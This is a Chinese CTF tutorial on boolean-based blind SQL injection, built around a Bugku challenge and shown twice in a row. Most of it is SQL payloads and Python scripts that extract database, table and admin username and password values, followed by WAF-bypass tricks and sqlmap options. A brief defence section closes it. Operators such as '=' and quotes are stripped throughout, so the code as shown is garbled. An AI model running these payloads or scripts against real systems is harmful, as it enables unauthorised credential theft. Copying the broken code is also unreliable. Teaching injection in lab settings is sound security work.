1. 项目概述从Bugku的一道题看布尔盲注实战最近在带新人入门网络安全发现很多朋友对SQL注入的理解还停留在“万能密码”或者联合查询的层面一旦遇到没有明确回显的页面就有点懵。正好Bugku CTF平台上那道经典的“基于布尔的SQL盲注”题目就是一个绝佳的教学案例。它模拟了一个非常典型的场景一个登录或查询接口无论你输入什么页面只会返回“对”或“错”两种状态比如登录成功与失败、查询有结果与无结果。这种场景下传统的联合注入Union Select直接爆数据的方法就失效了我们需要一种更“耐心”的技术——布尔盲注。布尔盲注的核心思想就像玩一个“是”或“否”的猜谜游戏。我们向数据库提问比如“数据库名的第一个字母是不是‘a’”然后通过观察页面返回的是“正常状态”还是“错误状态”来判断答案。通过精心构造一系列这样的布尔问题我们可以像挤牙膏一样一个字符一个字符地把数据库名、表名、字段名乃至具体数据“猜”出来。这个过程虽然繁琐但却是渗透测试中绕过各种过滤、应对无回显情况的必备技能。这道题不仅考察了我们对SQL语句构造的理解更考验我们编写脚本实现自动化爆破的工程能力。接下来我就结合这道题把布尔盲注从原理到实战再到脚本自动化掰开揉碎了讲清楚。2. 核心原理与攻击思路拆解2.1 布尔盲注与常规注入的本质区别很多新手会混淆不同类型的SQL注入。简单来说联合注入是“我问你直接答”页面会把数据库查询的结果原样显示出来我们可以直接看到数据。而布尔盲注是“我问你只点头或摇头”页面只给我们一个二元的反馈。这个反馈可能非常隐晦可能是登录成功与失败、页面标题的不同、某个特定关键词如“存在”或“不存在”的出现与否甚至是HTTP响应状态码的细微差别如200与500。在Bugku这道题的环境里通常就是一个简单的查询接口。我们输入一个用户名后端执行的SQL语句可能是SELECT * FROM users WHERE username ‘我们输入的参数’。如果查询有结果页面显示“用户存在”之类的信息如果无结果则显示“用户不存在”。攻击者无法直接让数据库“说出”users表里到底有什么但可以通过构造Payload将我们的问题“嵌入”到SQL语句的WHERE条件中并根据页面反馈来推断答案。2.2 攻击链条的构建逻辑一次完整的布尔盲注攻击其逻辑链条是清晰且环环相扣的。我们的目标是获取敏感数据比如管理员密码但我们需要像剥洋葱一样一层层获取必要的信息。判断注入点与注入类型首先要确认这里是否存在SQL注入漏洞并且是布尔型的。通常我们会输入1‘ and ‘1’‘1和1‘ and ‘1’‘2观察页面返回是否不同。前者恒真应返回“正常”状态后者恒假应返回“错误”状态。如果符合则基本确认是布尔盲注。猜解当前数据库名假设我们确认了注入点。接下来要问数据库“你叫什么名字”但我们不能直接问而要一个字母一个字母地问“你名字的第一个字母是‘a’吗”、“是‘b’吗”…… 这需要通过SQL函数来实现比如substring(database(),1,1)‘a‘。将这个问题拼接到原始SQL语句中通过页面的对错来判定。猜解表名知道了数据库名假设叫web我们接着问“在web数据库里第一个表的名字是什么”这需要查询information_schema.tables这个系统表。由于表名可能很长我们同样需要一个字符一个字符地猜。这个过程会用到limit子句来逐个遍历表。猜解字段名知道了目标表名假设叫admin我们再问“在admin表里有哪些列”这需要查询information_schema.columns。同样逐个字段、逐个字符地猜解。提取数据最后当我们知道了表名和字段名例如username,password就可以问出终极问题“admin用户的password字段的值是什么”依旧是逐个字符地猜解。整个过程的繁琐程度可想而知。一个8位长度的密码如果包含大小写字母和数字最坏情况下每个字符需要猜解62次。手动操作是完全不现实的因此编写自动化脚本是布尔盲注实战的必然选择。2.3 常用SQL函数与Payload构造理解下面这些SQL函数是构造Payload的基础length()用于判断目标值的长度。例如length(database())4用来猜数据库名长度。substring()或substr()用于截取字符串的某一部分。substring(字符串, 起始位置, 截取长度)。这是猜解单个字符的核心。例如substring(database(),1,1)‘a‘猜第一个字符。ascii()将字符转换为其ASCII码。有时直接比较字符可能因为引号编码等问题失败比较ASCII码则更可靠。ascii(substring(database(),1,1))97等价于判断第一个字符是否为‘a’‘a’的ASCII码是97。sleep()虽然本题是布尔盲注但提一下时间盲注。如果页面无论对错返回状态都一样但响应时间不同则可以用if(条件, sleep(5), 0)通过是否延时来判断条件真假。一个典型的布尔盲注Payload结构如下原参数‘ and (我们的布尔问题) and ‘1’‘1。两边的and ‘1’‘1是为了闭合SQL语句的引号确保语法正确。在某些情况下可能只需要一个引号这取决于后端代码的拼接方式需要测试。3. 手工探测与信息收集实战在真正开始写脚本之前手工进行初步探测至关重要。这能帮助我们理解目标的行为模式为脚本编写提供准确的参数。3.1 确认注入点与闭合方式假设目标URL是http://靶场地址/index.php?id1。基础测试输入?id1‘ and ‘1’‘1页面正常显示假设为状态A。输入?id1‘ and ‘1’‘2页面显示异常或不同内容状态B。如果A和B不同则强烈存在字符型布尔盲注闭合方式为单引号。判断列数可选为后续扩展做准备 虽然布尔盲注不依赖联合查询但判断列数有时有助于理解表结构。可以用order by来测试?id1‘ order by 5--。不断增大数字直到页面返回错误状态那么最后一个成功的数字就是列数。--是注释符用于注释掉后面的SQL语句。猜解当前数据库名长度?id1‘ and length(database())1--从1开始递增当页面返回“正常状态”时对应的数字就是长度。假设测试发现length(database())4时为真说明数据库名长度为4。3.2 逐字猜解数据库名知道了长度是4我们开始猜第一个字符。这里使用ascii()函数更精准。Payload:?id1‘ and ascii(substring(database(),1,1))97--如果页面返回正常说明第一个字符的ASCII码是97即‘a’。如果不正常我们依次尝试98(‘b’)、99(‘c’)… 可以手动测试几个感受一下过程。显然我们需要一个字符集字典通常包括小写字母a-z97-122、大写字母A-Z65-90、数字0-948-57以及可能的下划线95。注意在实际靶场或测试中页面反馈可能非常微妙。不一定是截然不同的页面可能只是页面某个角落的一个单词、一个图片的加载、一行提示文字的差异。你需要用浏览器的“查看网页源代码”功能或者使用Burp Suite的对比工具Comparer仔细找出那个决定“真/假”的关键差异点。这个点就是你的脚本后续需要判断的“标志”。3.3 引入自动化思维手工猜完第一个字符你就会立刻意识到必须自动化。我们需要一个脚本能够自动遍历预定义的字符集。针对目标位置如database()的第N位生成Payload。发送HTTP请求。根据预设的“真/假”判断规则解析响应内容。记录判断为“真”的字符。这个循环将对每一个位置从1到长度执行。获取到数据库名后下一步就是获取表名。4. 编写Python自动化爆破脚本这里我使用Python的requests库来编写脚本。选择Python是因为其库丰富、代码简洁非常适合快速编写POC。4.1 脚本框架与核心函数首先我们要定义最核心的函数判断单个Payload请求返回的页面是否代表“真”True。import requests import time # 目标URL注意留有 {payload} 占位符 url http://靶场地址/index.php?id1 # 用于判断“真”的关键词。这需要你从手工测试中观察得来。 # 例如当条件为真时页面包含“用户存在”这个词。 true_flag 用户存在 # 请求头有些靶场需要模拟浏览器 headers { User-Agent: Mozilla/5.0 } def check(payload): 发送Payload并根据响应内容判断条件是否为真。 # 将Payload拼接到URL中注意URL编码 full_url url.format(payloadrequests.utils.quote(payload)) try: resp requests.get(full_url, headersheaders, timeout5) resp.encoding utf-8 # 根据实际情况调整编码 # 如果响应文本中包含 true_flag则返回 True if true_flag in resp.text: return True else: return False except Exception as e: print(f请求失败: {e}) return False # 测试函数是否工作 if check( and 11) and not check( and 12): print(注入点与判断逻辑确认成功) else: print(判断逻辑可能有误请检查 true_flag 或注入点。)4.2 实现数据库名猜解确认基础函数工作后我们编写猜解函数。这里我们猜解database()。def get_database_name(): 猜解当前数据库名 print([*] 开始猜解数据库名长度...) db_len 0 for i in range(1, 20): # 假设长度不会超过20 payload f and length(database()){i}-- - if check(payload): db_len i print(f 数据库名长度: {db_len}) break if db_len 0: print([-] 无法获取数据库长度) return None print([*] 开始猜解数据库名...) database_name # 定义可能的字符集 chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_ for position in range(1, db_len 1): for char in chars: # 使用 ascii 函数进行比较避免引号问题 ascii_val ord(char) payload f and ascii(substring(database(),{position},1)){ascii_val}-- - if check(payload): database_name char print(f 位置{position}: {char} - 当前库名: {database_name}) break else: # 如果字符集里没找到可能是其他字符用‘?’代替 database_name ? print(f 位置{position}: 未在字符集中找到) print(f[] 数据库名: {database_name}) return database_name db_name get_database_name()4.3 实现表名与字段名猜解获取数据库名后下一步是猜解其中的表。我们需要查询information_schema.tables。def get_tables(database_name): 猜解指定数据库中的表名 print(f[*] 开始猜解数据库 {database_name} 中的表...) # 首先猜有多少张表这里假设我们只关心前几张 table_count 0 for i in range(1, 20): payload f and (select count(table_name) from information_schema.tables where table_schema{database_name}){i}-- - if check(payload): table_count i print(f 表数量: {table_count}) break tables [] for table_index in range(0, table_count): # limit 索引从0开始 # 先猜表名长度 table_len 0 for i in range(1, 50): payload f and length((select table_name from information_schema.tables where table_schema{database_name} limit {table_index},1)){i}-- - if check(payload): table_len i break # 再逐字符猜表名 table_name chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_ for pos in range(1, table_len 1): for char in chars: ascii_val ord(char) payload f and ascii(substring((select table_name from information_schema.tables where table_schema{database_name} limit {table_index},1),{pos},1)){ascii_val}-- - if check(payload): table_name char break else: table_name ? tables.append(table_name) print(f 表{table_index1}: {table_name}) print(f[] 发现表: {tables}) return tables # 假设我们猜到的数据库名是 ‘web‘ tables get_tables(web)获取字段名的逻辑与此类似只是查询的系统表换成了information_schema.columns并且条件中需要指定table_name。4.4 最终数据提取假设我们通过上述步骤发现了一个名为admin的表里面可能有username和password字段。def get_data(table_name, column_name): 从指定表的指定字段中提取数据例如用户名和密码 print(f[*] 从表 {table_name} 的 {column_name} 字段提取数据...) # 先猜有多少行数据 row_count 0 for i in range(1, 10): payload f and (select count({column_name}) from {table_name}){i}-- - if check(payload): row_count i print(f 行数: {row_count}) break data_list [] for row_index in range(0, row_count): # 猜该字段值的长度 data_len 0 for i in range(1, 100): # 假设数据不会太长 payload f and length((select {column_name} from {table_name} limit {row_index},1)){i}-- - if check(payload): data_len i break # 逐字符猜数据 data_value chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.-!$%^*() for pos in range(1, data_len 1): for char in chars: ascii_val ord(char) payload f and ascii(substring((select {column_name} from {table_name} limit {row_index},1),{pos},1)){ascii_val}-- - if check(payload): data_value char break else: data_value ? data_list.append(data_value) print(f 第{row_index1}行数据: {data_value}) print(f[] 提取到的数据: {data_list}) return data_list # 提取用户名和密码 usernames get_data(admin, username) passwords get_data(admin, password)5. 脚本优化与实战避坑指南上面的脚本是基础版本在实际对抗中你需要考虑更多因素。5.1 性能优化二分查找算法我们之前的脚本对每个位置都遍历了整个字符集最坏62次。对于ASCII码比较我们可以使用二分查找将最坏查询次数从62次降低到约7次log2(128)。def guess_char(payload_template, position): 使用二分法猜解某个位置的字符。 payload_template: 包含 {pos} 和 {ascii} 占位符的模板。 例如: and ascii(substring(database(),{pos},1)){ascii}-- - low, high 32, 126 # 可打印ASCII码范围 while low high: mid (low high) // 2 # 先判断是否大于 mid payload_gt payload_template.format(posposition, asciimid) if check(payload_gt): low mid 1 else: high mid - 1 # 循环结束时low high且 high1 low 是最后一个满足“”条件的值。 # 真正的ASCII码值应该是 high1不需要精确等于判断。 # 二分法结束后需要验证一下 high1 这个值是否等于。 final_ascii high 1 if 32 final_ascii 126: # 做一次等于的确认 payload_eq f and ascii(substring(database(),{position},1)){final_ascii}-- - if check(payload_eq): return chr(final_ascii) return ? # 使用二分法猜数据库名 db_name_binary for i in range(1, db_len1): # 构造用于“大于”比较的Payload模板 template f and ascii(substring(database(),{i},1)){{ascii}}-- - char guess_char(template, i) db_name_binary char print(f位置{i}: {char})5.2 绕过常见过滤与WAF靶场或真实环境可能有过滤。空格过滤用/**/、%0a换行符、%09制表符代替空格。例如?id1‘/**/and/**/‘1’‘1。等号过滤用like、rlike、regexp或大于小于号组合代替。例如substring(database(),1,1) like ‘a‘或ascii(…) 96 and ascii(…) 98。逗号过滤substring的逗号可以用from for语法代替。substring(database() from 1 for 1)。引号过滤如果无法使用引号包裹字符可以用hex()编码或char()函数。例如substring(database(),1,1)0x610x61是‘a’的十六进制或者substring(database(),1,1)char(97)。and/or关键词过滤尝试双写anandd、oorr或者使用、||符号需注意URL编码。在你的脚本中需要将Payload构造部分抽象出来方便替换这些绕过技巧。5.3 错误处理与稳健性提升请求失败重试网络可能不稳定在check函数中加入重试机制。速率限制在循环中加入time.sleep(0.1)等间隔避免请求过快被靶场封IP。动态标志判断有时true_flag可能不是固定的关键词。可以编写更智能的判断函数比如对比两次请求一个恒真Payload一个恒假Payload的响应内容差异自动提取差异点作为判断依据。日志记录将猜解过程写入文件方便中断后恢复。6. 从靶场到实战的思维延伸通过Bugku这道题我们掌握了布尔盲注的基本流程和自动化方法。但实战远比靶场复杂。信息判断的多样性真实场景的“布尔值”反馈可能极其隐晦可能是响应时间微秒级差别时间盲注、是一个图片像素点的不同、是JSON返回值中某个字段的true/false甚至是重定向位置的细微差异。你需要用脚本精确捕捉这些差异。工具化虽然自己写脚本能加深理解但掌握成熟工具如sqlmap的效率更高。理解原理后你应该知道如何用sqlmap的--techniqueB参数进行布尔盲注并用--level和--risk调整检测等级。知道工具在背后做了什么才能更好地使用和绕过它。防御视角作为开发者如何防止此类攻击根本方法是使用参数化查询Prepared Statements或ORM框架确保用户输入永远不被解释为SQL代码。其次对输入进行严格的类型检查和长度限制。在WAF层面可以过滤可疑的SQL函数名和语法模式但这不是根本解决方案。这道“基于布尔的SQL盲注”题目就像一把钥匙打开了一扇门。门后是Web安全中一个既基础又深邃的领域——在不直接对话的情况下与数据库进行“盲猜”。掌握它你不仅多了一种攻击手段更重要的是你建立了一种在限制条件下层层递进、解决问题的渗透测试思维。这种思维在后续面对更复杂的漏洞利用链时将是无价的。 布尔盲注实战：从原理到自动化脚本的SQL注入攻防
1. 项目概述从Bugku的一道题看布尔盲注实战最近在带新人入门网络安全发现很多朋友对SQL注入的理解还停留在“万能密码”或者联合查询的层面一旦遇到没有明确回显的页面就有点懵。正好Bugku CTF平台上那道经典的“基于布尔的SQL盲注”题目就是一个绝佳的教学案例。它模拟了一个非常典型的场景一个登录或查询接口无论你输入什么页面只会返回“对”或“错”两种状态比如登录成功与失败、查询有结果与无结果。这种场景下传统的联合注入Union Select直接爆数据的方法就失效了我们需要一种更“耐心”的技术——布尔盲注。布尔盲注的核心思想就像玩一个“是”或“否”的猜谜游戏。我们向数据库提问比如“数据库名的第一个字母是不是‘a’”然后通过观察页面返回的是“正常状态”还是“错误状态”来判断答案。通过精心构造一系列这样的布尔问题我们可以像挤牙膏一样一个字符一个字符地把数据库名、表名、字段名乃至具体数据“猜”出来。这个过程虽然繁琐但却是渗透测试中绕过各种过滤、应对无回显情况的必备技能。这道题不仅考察了我们对SQL语句构造的理解更考验我们编写脚本实现自动化爆破的工程能力。接下来我就结合这道题把布尔盲注从原理到实战再到脚本自动化掰开揉碎了讲清楚。2. 核心原理与攻击思路拆解2.1 布尔盲注与常规注入的本质区别很多新手会混淆不同类型的SQL注入。简单来说联合注入是“我问你直接答”页面会把数据库查询的结果原样显示出来我们可以直接看到数据。而布尔盲注是“我问你只点头或摇头”页面只给我们一个二元的反馈。这个反馈可能非常隐晦可能是登录成功与失败、页面标题的不同、某个特定关键词如“存在”或“不存在”的出现与否甚至是HTTP响应状态码的细微差别如200与500。在Bugku这道题的环境里通常就是一个简单的查询接口。我们输入一个用户名后端执行的SQL语句可能是SELECT * FROM users WHERE username ‘我们输入的参数’。如果查询有结果页面显示“用户存在”之类的信息如果无结果则显示“用户不存在”。攻击者无法直接让数据库“说出”users表里到底有什么但可以通过构造Payload将我们的问题“嵌入”到SQL语句的WHERE条件中并根据页面反馈来推断答案。2.2 攻击链条的构建逻辑一次完整的布尔盲注攻击其逻辑链条是清晰且环环相扣的。我们的目标是获取敏感数据比如管理员密码但我们需要像剥洋葱一样一层层获取必要的信息。判断注入点与注入类型首先要确认这里是否存在SQL注入漏洞并且是布尔型的。通常我们会输入1‘ and ‘1’‘1和1‘ and ‘1’‘2观察页面返回是否不同。前者恒真应返回“正常”状态后者恒假应返回“错误”状态。如果符合则基本确认是布尔盲注。猜解当前数据库名假设我们确认了注入点。接下来要问数据库“你叫什么名字”但我们不能直接问而要一个字母一个字母地问“你名字的第一个字母是‘a’吗”、“是‘b’吗”…… 这需要通过SQL函数来实现比如substring(database(),1,1)‘a‘。将这个问题拼接到原始SQL语句中通过页面的对错来判定。猜解表名知道了数据库名假设叫web我们接着问“在web数据库里第一个表的名字是什么”这需要查询information_schema.tables这个系统表。由于表名可能很长我们同样需要一个字符一个字符地猜。这个过程会用到limit子句来逐个遍历表。猜解字段名知道了目标表名假设叫admin我们再问“在admin表里有哪些列”这需要查询information_schema.columns。同样逐个字段、逐个字符地猜解。提取数据最后当我们知道了表名和字段名例如username,password就可以问出终极问题“admin用户的password字段的值是什么”依旧是逐个字符地猜解。整个过程的繁琐程度可想而知。一个8位长度的密码如果包含大小写字母和数字最坏情况下每个字符需要猜解62次。手动操作是完全不现实的因此编写自动化脚本是布尔盲注实战的必然选择。2.3 常用SQL函数与Payload构造理解下面这些SQL函数是构造Payload的基础length()用于判断目标值的长度。例如length(database())4用来猜数据库名长度。substring()或substr()用于截取字符串的某一部分。substring(字符串, 起始位置, 截取长度)。这是猜解单个字符的核心。例如substring(database(),1,1)‘a‘猜第一个字符。ascii()将字符转换为其ASCII码。有时直接比较字符可能因为引号编码等问题失败比较ASCII码则更可靠。ascii(substring(database(),1,1))97等价于判断第一个字符是否为‘a’‘a’的ASCII码是97。sleep()虽然本题是布尔盲注但提一下时间盲注。如果页面无论对错返回状态都一样但响应时间不同则可以用if(条件, sleep(5), 0)通过是否延时来判断条件真假。一个典型的布尔盲注Payload结构如下原参数‘ and (我们的布尔问题) and ‘1’‘1。两边的and ‘1’‘1是为了闭合SQL语句的引号确保语法正确。在某些情况下可能只需要一个引号这取决于后端代码的拼接方式需要测试。3. 手工探测与信息收集实战在真正开始写脚本之前手工进行初步探测至关重要。这能帮助我们理解目标的行为模式为脚本编写提供准确的参数。3.1 确认注入点与闭合方式假设目标URL是http://靶场地址/index.php?id1。基础测试输入?id1‘ and ‘1’‘1页面正常显示假设为状态A。输入?id1‘ and ‘1’‘2页面显示异常或不同内容状态B。如果A和B不同则强烈存在字符型布尔盲注闭合方式为单引号。判断列数可选为后续扩展做准备 虽然布尔盲注不依赖联合查询但判断列数有时有助于理解表结构。可以用order by来测试?id1‘ order by 5--。不断增大数字直到页面返回错误状态那么最后一个成功的数字就是列数。--是注释符用于注释掉后面的SQL语句。猜解当前数据库名长度?id1‘ and length(database())1--从1开始递增当页面返回“正常状态”时对应的数字就是长度。假设测试发现length(database())4时为真说明数据库名长度为4。3.2 逐字猜解数据库名知道了长度是4我们开始猜第一个字符。这里使用ascii()函数更精准。Payload:?id1‘ and ascii(substring(database(),1,1))97--如果页面返回正常说明第一个字符的ASCII码是97即‘a’。如果不正常我们依次尝试98(‘b’)、99(‘c’)… 可以手动测试几个感受一下过程。显然我们需要一个字符集字典通常包括小写字母a-z97-122、大写字母A-Z65-90、数字0-948-57以及可能的下划线95。注意在实际靶场或测试中页面反馈可能非常微妙。不一定是截然不同的页面可能只是页面某个角落的一个单词、一个图片的加载、一行提示文字的差异。你需要用浏览器的“查看网页源代码”功能或者使用Burp Suite的对比工具Comparer仔细找出那个决定“真/假”的关键差异点。这个点就是你的脚本后续需要判断的“标志”。3.3 引入自动化思维手工猜完第一个字符你就会立刻意识到必须自动化。我们需要一个脚本能够自动遍历预定义的字符集。针对目标位置如database()的第N位生成Payload。发送HTTP请求。根据预设的“真/假”判断规则解析响应内容。记录判断为“真”的字符。这个循环将对每一个位置从1到长度执行。获取到数据库名后下一步就是获取表名。4. 编写Python自动化爆破脚本这里我使用Python的requests库来编写脚本。选择Python是因为其库丰富、代码简洁非常适合快速编写POC。4.1 脚本框架与核心函数首先我们要定义最核心的函数判断单个Payload请求返回的页面是否代表“真”True。import requests import time # 目标URL注意留有 {payload} 占位符 url http://靶场地址/index.php?id1 # 用于判断“真”的关键词。这需要你从手工测试中观察得来。 # 例如当条件为真时页面包含“用户存在”这个词。 true_flag 用户存在 # 请求头有些靶场需要模拟浏览器 headers { User-Agent: Mozilla/5.0 } def check(payload): 发送Payload并根据响应内容判断条件是否为真。 # 将Payload拼接到URL中注意URL编码 full_url url.format(payloadrequests.utils.quote(payload)) try: resp requests.get(full_url, headersheaders, timeout5) resp.encoding utf-8 # 根据实际情况调整编码 # 如果响应文本中包含 true_flag则返回 True if true_flag in resp.text: return True else: return False except Exception as e: print(f请求失败: {e}) return False # 测试函数是否工作 if check( and 11) and not check( and 12): print(注入点与判断逻辑确认成功) else: print(判断逻辑可能有误请检查 true_flag 或注入点。)4.2 实现数据库名猜解确认基础函数工作后我们编写猜解函数。这里我们猜解database()。def get_database_name(): 猜解当前数据库名 print([*] 开始猜解数据库名长度...) db_len 0 for i in range(1, 20): # 假设长度不会超过20 payload f and length(database()){i}-- - if check(payload): db_len i print(f 数据库名长度: {db_len}) break if db_len 0: print([-] 无法获取数据库长度) return None print([*] 开始猜解数据库名...) database_name # 定义可能的字符集 chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_ for position in range(1, db_len 1): for char in chars: # 使用 ascii 函数进行比较避免引号问题 ascii_val ord(char) payload f and ascii(substring(database(),{position},1)){ascii_val}-- - if check(payload): database_name char print(f 位置{position}: {char} - 当前库名: {database_name}) break else: # 如果字符集里没找到可能是其他字符用‘?’代替 database_name ? print(f 位置{position}: 未在字符集中找到) print(f[] 数据库名: {database_name}) return database_name db_name get_database_name()4.3 实现表名与字段名猜解获取数据库名后下一步是猜解其中的表。我们需要查询information_schema.tables。def get_tables(database_name): 猜解指定数据库中的表名 print(f[*] 开始猜解数据库 {database_name} 中的表...) # 首先猜有多少张表这里假设我们只关心前几张 table_count 0 for i in range(1, 20): payload f and (select count(table_name) from information_schema.tables where table_schema{database_name}){i}-- - if check(payload): table_count i print(f 表数量: {table_count}) break tables [] for table_index in range(0, table_count): # limit 索引从0开始 # 先猜表名长度 table_len 0 for i in range(1, 50): payload f and length((select table_name from information_schema.tables where table_schema{database_name} limit {table_index},1)){i}-- - if check(payload): table_len i break # 再逐字符猜表名 table_name chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_ for pos in range(1, table_len 1): for char in chars: ascii_val ord(char) payload f and ascii(substring((select table_name from information_schema.tables where table_schema{database_name} limit {table_index},1),{pos},1)){ascii_val}-- - if check(payload): table_name char break else: table_name ? tables.append(table_name) print(f 表{table_index1}: {table_name}) print(f[] 发现表: {tables}) return tables # 假设我们猜到的数据库名是 ‘web‘ tables get_tables(web)获取字段名的逻辑与此类似只是查询的系统表换成了information_schema.columns并且条件中需要指定table_name。4.4 最终数据提取假设我们通过上述步骤发现了一个名为admin的表里面可能有username和password字段。def get_data(table_name, column_name): 从指定表的指定字段中提取数据例如用户名和密码 print(f[*] 从表 {table_name} 的 {column_name} 字段提取数据...) # 先猜有多少行数据 row_count 0 for i in range(1, 10): payload f and (select count({column_name}) from {table_name}){i}-- - if check(payload): row_count i print(f 行数: {row_count}) break data_list [] for row_index in range(0, row_count): # 猜该字段值的长度 data_len 0 for i in range(1, 100): # 假设数据不会太长 payload f and length((select {column_name} from {table_name} limit {row_index},1)){i}-- - if check(payload): data_len i break # 逐字符猜数据 data_value chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.-!$%^*() for pos in range(1, data_len 1): for char in chars: ascii_val ord(char) payload f and ascii(substring((select {column_name} from {table_name} limit {row_index},1),{pos},1)){ascii_val}-- - if check(payload): data_value char break else: data_value ? data_list.append(data_value) print(f 第{row_index1}行数据: {data_value}) print(f[] 提取到的数据: {data_list}) return data_list # 提取用户名和密码 usernames get_data(admin, username) passwords get_data(admin, password)5. 脚本优化与实战避坑指南上面的脚本是基础版本在实际对抗中你需要考虑更多因素。5.1 性能优化二分查找算法我们之前的脚本对每个位置都遍历了整个字符集最坏62次。对于ASCII码比较我们可以使用二分查找将最坏查询次数从62次降低到约7次log2(128)。def guess_char(payload_template, position): 使用二分法猜解某个位置的字符。 payload_template: 包含 {pos} 和 {ascii} 占位符的模板。 例如: and ascii(substring(database(),{pos},1)){ascii}-- - low, high 32, 126 # 可打印ASCII码范围 while low high: mid (low high) // 2 # 先判断是否大于 mid payload_gt payload_template.format(posposition, asciimid) if check(payload_gt): low mid 1 else: high mid - 1 # 循环结束时low high且 high1 low 是最后一个满足“”条件的值。 # 真正的ASCII码值应该是 high1不需要精确等于判断。 # 二分法结束后需要验证一下 high1 这个值是否等于。 final_ascii high 1 if 32 final_ascii 126: # 做一次等于的确认 payload_eq f and ascii(substring(database(),{position},1)){final_ascii}-- - if check(payload_eq): return chr(final_ascii) return ? # 使用二分法猜数据库名 db_name_binary for i in range(1, db_len1): # 构造用于“大于”比较的Payload模板 template f and ascii(substring(database(),{i},1)){{ascii}}-- - char guess_char(template, i) db_name_binary char print(f位置{i}: {char})5.2 绕过常见过滤与WAF靶场或真实环境可能有过滤。空格过滤用/**/、%0a换行符、%09制表符代替空格。例如?id1‘/**/and/**/‘1’‘1。等号过滤用like、rlike、regexp或大于小于号组合代替。例如substring(database(),1,1) like ‘a‘或ascii(…) 96 and ascii(…) 98。逗号过滤substring的逗号可以用from for语法代替。substring(database() from 1 for 1)。引号过滤如果无法使用引号包裹字符可以用hex()编码或char()函数。例如substring(database(),1,1)0x610x61是‘a’的十六进制或者substring(database(),1,1)char(97)。and/or关键词过滤尝试双写anandd、oorr或者使用、||符号需注意URL编码。在你的脚本中需要将Payload构造部分抽象出来方便替换这些绕过技巧。5.3 错误处理与稳健性提升请求失败重试网络可能不稳定在check函数中加入重试机制。速率限制在循环中加入time.sleep(0.1)等间隔避免请求过快被靶场封IP。动态标志判断有时true_flag可能不是固定的关键词。可以编写更智能的判断函数比如对比两次请求一个恒真Payload一个恒假Payload的响应内容差异自动提取差异点作为判断依据。日志记录将猜解过程写入文件方便中断后恢复。6. 从靶场到实战的思维延伸通过Bugku这道题我们掌握了布尔盲注的基本流程和自动化方法。但实战远比靶场复杂。信息判断的多样性真实场景的“布尔值”反馈可能极其隐晦可能是响应时间微秒级差别时间盲注、是一个图片像素点的不同、是JSON返回值中某个字段的true/false甚至是重定向位置的细微差异。你需要用脚本精确捕捉这些差异。工具化虽然自己写脚本能加深理解但掌握成熟工具如sqlmap的效率更高。理解原理后你应该知道如何用sqlmap的--techniqueB参数进行布尔盲注并用--level和--risk调整检测等级。知道工具在背后做了什么才能更好地使用和绕过它。防御视角作为开发者如何防止此类攻击根本方法是使用参数化查询Prepared Statements或ORM框架确保用户输入永远不被解释为SQL代码。其次对输入进行严格的类型检查和长度限制。在WAF层面可以过滤可疑的SQL函数名和语法模式但这不是根本解决方案。这道“基于布尔的SQL盲注”题目就像一把钥匙打开了一扇门。门后是Web安全中一个既基础又深邃的领域——在不直接对话的情况下与数据库进行“盲猜”。掌握它你不仅多了一种攻击手段更重要的是你建立了一种在限制条件下层层递进、解决问题的渗透测试思维。这种思维在后续面对更复杂的漏洞利用链时将是无价的。